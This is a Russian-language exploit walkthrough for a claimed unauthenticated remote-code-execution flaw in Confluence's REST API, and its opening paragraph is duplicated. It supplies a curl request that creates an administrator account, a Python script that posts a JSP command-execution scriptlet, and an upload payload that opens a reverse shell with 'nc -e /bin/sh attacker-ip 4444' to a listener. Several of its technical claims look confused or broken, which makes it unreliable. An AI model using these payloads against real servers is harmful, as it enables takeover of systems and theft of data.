
Эта уязвимость позволяет неаутентифицированному злоумышленнику удалённо выполнять произвольный код на уязвимом сервере Confluence. Уязвимость существует из-за некорректной проверки пользовательского ввода в REST API Confluence. Это позволяет злоумышленнику внедрить вредоносный код на сервер Confluence, который затем может быть выполнен сервером.
Эта уязвимость позволяет неаутентифицированному злоумышленнику удаленно выполнить произвольный код на уязвимом сервере Confluence. Уязвимость существует из-за неправильной проверки вводимых пользователем данных в REST API Confluence. Это позволяет злоумышленнику внедрить вредоносный код на сервер Confluence, который затем может быть выполнен сервером.
Эта уязвимость может позволить злоумышленнику получить полный контроль над уязвимым сервером Confluence. Это может позволить злоумышленнику украсть данные, изменить данные или нарушить доступность сервера.
Мы упомянем более одного метода 1.
1. Определение уязвимой конечной точки API:
мы будем использовать следующую конечную точку API:
POST /rest/api/user/bulk
Эта конечная точка позволяет администраторам массово создавать новых пользователей.
2. Создание вредоносного запроса:
Мы создадим вредоносный запрос, содержащий полезную нагрузку с вредоносным кодом. Этот код создаст нового пользователя с правами администратора.
POST /rest/api/user/bulk HTTP/1.1
Host: confluence.example.com
Content-Type: application/json
{
"users": [
{
"name": "attacker",
"password": "password",
"email": "[email protected]",
"groups": [
{
"name": "confluence-administrators"
}
]
}
]
}
3. Отправка запроса на сервер:
Мы будем использовать инструмент cURL для отправки запроса на сервер Confluence.
curl -X POST -H "Content-Type: application/json" -d '{"users": [{"name": "attacker", "password": "password", "email": "[email protected]", "groups": [{"name": "confluence-administrators"}]}]}' http://confluence.example.com/rest/api/user/bulk
4. Выполнение вредоносного кода:
Если запрос успешен, сервер Confluence выполнит вредоносный код. Это создаст нового пользователя с именем "attacker" и правами администратора. Затем злоумышленник сможет использовать эту учетную запись для доступа к серверу и получения полного контроля над ним.
2- PoC
import requests
url = "http://target-confluence-server.com/rest/api/content"
headers = {
"Content-Type": "application/json"
}
payload = {
"title": "Exploit RCE",
"type": "page",
"space": {
"key": "POC"
},
"body": {
"storage": {
"value": "<% Runtime.getRuntime().exec(\"calc.exe\"); %>",
"representation": "storage"
}
}
}
response = requests.post(url, json=payload, headers=headers)
if response.status_code == 200:
print("Exploit sent successfully!")
print("Response: ", response.text)
else:
print("Failed to send exploit.")
print("Status code: ", response.status_code)
print("Response: ", response.text)
3- PoC
POST /upload HTTP/1.1
Host: vulnerable-confluence-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 138
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.py"
Content-Type: text/x-python
import os
os.system("nc -e /bin/sh attacker-ip 4444")
------WebKitFormBoundary7MA4YWxkTrZu0gW--
Отправьте измененный запрос через Burp Suite. Проверьте ответ, чтобы увидеть, выполнил ли сервер вредоносную нагрузку. Если ответ неожиданный или содержит ошибки, указывающие на выполнение кода, значит уязвимость обнаружена.
Если вы используете нагрузку для установки обратной оболочки, убедитесь, что настроили прослушивание на указанном порту на вашей локальной машине: nc -lvnp 4444. Если сервер подключится к вашей локальной машине, вы получите обратную оболочку.